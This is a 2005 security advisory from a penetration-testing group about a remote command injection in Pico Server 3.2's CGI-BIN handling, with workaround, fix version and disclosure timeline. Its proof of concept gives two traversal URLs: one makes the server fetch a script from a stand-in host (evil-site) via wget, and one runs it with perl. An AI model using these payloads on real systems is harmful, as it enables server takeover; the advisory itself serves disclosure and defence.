Pico Server (pServ) Remote Command Injection
RedTeam found a remote command injection in Pico Server (pServ) which results in a remote attacker being able to issue arbitrary commands on the server.
Details
- Product: Pico Server (pServ)
- Affected Version: 3.2(verified), <=3.2 probably too
- Immune Version: 3.3
- OS affected: all
- Security-Risk: very high
- Remote-Exploit: yes
- Vendor-URL:
http://pserv.sourceforge.net/ - Vendor-Status: new version available
- Advisory-URL:
https://www.redteam-pentesting.de/advisories/rt-sa-2005-010 - Advisory-Status: published
- CVE: CAN-2005-1365
- (
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1365#)
Introduction
From http://pserv.sourceforge.net/
Pico Server is a small web server. It is meant to be portable and
configurable.
- small, portable
- fast
- CGI-BIN support
- auto-indexing of directories
- access and error logging (see p-reporter for an analyzer)
- forking or single-connection at choice
Pico Server (pServ) is written in portable C (K&R style so it can compile on older compilers too) and sports several options that by means of #define statements can customize the behavior, the performance and the feature set so to be able to fit better the the requisites.
If pServ is compiled with support for CGI-BIN a remote attacker is able to execute any program (with pServ permissions) on the server by traversing out of the cgi-bin directory.
More Details
pServ has CGI-BIN support. Only URLs beginning with “cgi-bin” are treated as cgi-scripts. To avoid that a user traverses out of the cgi-bin using traditional /../, pServ parses the requested url. It increases a counter by one if it parses a / (new subdir) and decreases the counter if ist parses /../. If the counter goes below zero the url is rejected as illegal. Unfortunately an attacker can avoid beeing rejected, just using enough / in the url (without directory names between them), so he can traverse out of the cgi-bin by adding some /../ . This lets the attacker execute any program on the server (with pServ permissions).
Proof of Concept
The following url downloads a script (or executable) to the server:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl
This is how the script can be executed afterwards:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl
Workaround
The only workaround is to compile pServ without support for cgi-bin.
Fix
The Developers have released Version 3.3. This version should fix the problem. The changes have not been tested by RedTeam, yet.
Security Risk
The security risk is rated very high because a remote attacker can use this flaw to execute arbitrary code on the server (with the permissions of pServ).
History
- 2005-04-29 found
- 2005-05-02 first attempt to inform developers
- 2005-05-02 CAN-number assigned
- 2005-05-04 second attempt to inform developers
- 2005-05-16 new version released. Advisory published
- 2009-05-08 Updated Advisory URL
RedTeam
RedTeam is a penetration testing group working at the Laboratory for
Dependable Distributed Systems at RWTH-Aachen University. You can find more
Information on the RedTeam Project at
https://www.redteam-pentesting.de